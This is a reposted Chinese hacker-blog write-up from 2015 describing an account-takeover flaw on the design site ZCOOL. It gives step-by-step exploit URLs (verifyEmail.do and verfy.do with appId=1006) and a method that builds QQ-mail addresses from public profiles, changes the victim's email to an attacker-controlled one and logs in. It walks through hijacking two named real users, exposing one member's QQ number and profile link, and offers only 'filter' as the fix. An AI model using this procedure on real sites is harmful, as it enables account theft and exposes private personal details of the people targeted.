记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

站酷网某漏洞导致数万用户可任意登录(看我如何登录大量金牌设计师的帐号)

2015-07-14 19:05

问题参数在这里: 理论上只有详细资料有他的QQ号 就可以改掉,利用的是改掉他的邮箱


自动完成登录验证

http://passport.zcool.com.cn/verifyEmail.do?name=“”&appId=1006
 


appId=1006





这个 appID测试几乎可以通用~~~ 1006默认1006,居然没有其他机制来限制它,无语了



我们只需要注意这里name参数即可



看我怎么改他的密码



首先找1个会员



zcool.com.cn/



 

68.png





比如:



http://www.zcool.com.cn/special/gogoup4/ 注意下面的评论处:



例子:

36.png







我们找几个活跃的人气设计师来改掉他的密码



展开他的详细资料





比如这个:http://fangkuaiashou.zcool.com.cn/



方块怪兽

 

17.png







注意他的QQ:

组合下[email protected]



接着问题参数也搭建下

如果他邮箱存在那么就会成功







访问下:http://passport.zcool.com.cn/verifyEmail.do?name=[email protected]&appId=1006





 

698.png







接下来,我们只需要改掉他的邮箱,即可改掉他的密码了



我们替换的是他的邮箱~~



这里要说明,由于邮箱进入他的裤是验证一次,第二次重复就不能再使用此邮箱



那么,我们就多注册几个就可以了



改一次,注册一个,改哪个人的,就注册哪个人的即可



如我注册好了一个,没有使用过的邮箱163的



[email protected] feng163



接着:



先进入163等待



 

8.png







然后,我们来到那里



点修改邮箱



 

632.png





把当前邮箱地址改成,我们注册的163邮箱即可


[email protected]





接着提交它


 

822.png







这时候163会收到注册的信息


 

71.png





这时候会发过来一个激活的信息,我们只需要点击,就自动激活code了


 

82223.png





这时候设计师的邮箱就这样被我们改掉了



来看看



 

587.png





这时候注意邮箱,是我们的邮箱了



那么用户就是我们改掉的金牌设计师了



什么都有了



 

783.png



===============================================================



我们再来改1个普通会员的



我们来找找



准备好我们的没有使用的163邮箱



[email protected] 19971030



我准备好了



接下来



找会员



 

54.png





这些设计师只要QQ详细资料,就可以,呵呵



我找到了1个会员



http://www.zcool.com.cn/u/1975332





设计爱好者:

213.png







注意他的QQ



451204869



组合下



为[email protected]



搭建问题参数:



http://passport.zcool.com.cn/verifyEmail.do?name=[email protected]&appId=1006

访问下



 

682.png





运气真好,果然有,如果没有用这个邮箱,那么肯定会提示不存在的



那么接下来,我们同样的修改邮箱地址吧



把这里改成我们没有使用过的邮箱



就是这个:[email protected] 





 

79.png

然后提交~~

同样,邮箱里面出现了我们的东西

 

781.png







访问下



http://passport.zcool.com.cn/verfy.do?name=[email protected]&code=17f287028bfb1f8b9b887846d05f7a70&appId=1006 



 

321.png



就这样,这个所谓的设计爱好者,我们就这样登进去了
 

2111.png



这里的邮箱就是我们之前的[email protected] 了
 


http://passport.zcool.com.cn/verifyEmail.do?name=“”&appId=1006

找会员ID详细资料,组合~然后注册新邮箱,改邮箱,进邮箱,自动激活登录~~~~

解决方案:

过滤

知识来源: www.2cto.com/Article/201507/418104.html

阅读:117982 | 评论:0 | 标签:漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“站酷网某漏洞导致数万用户可任意登录(看我如何登录大量金牌设计师的帐号)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于垒土;黑客之术,始于阅读

推广

工具

标签云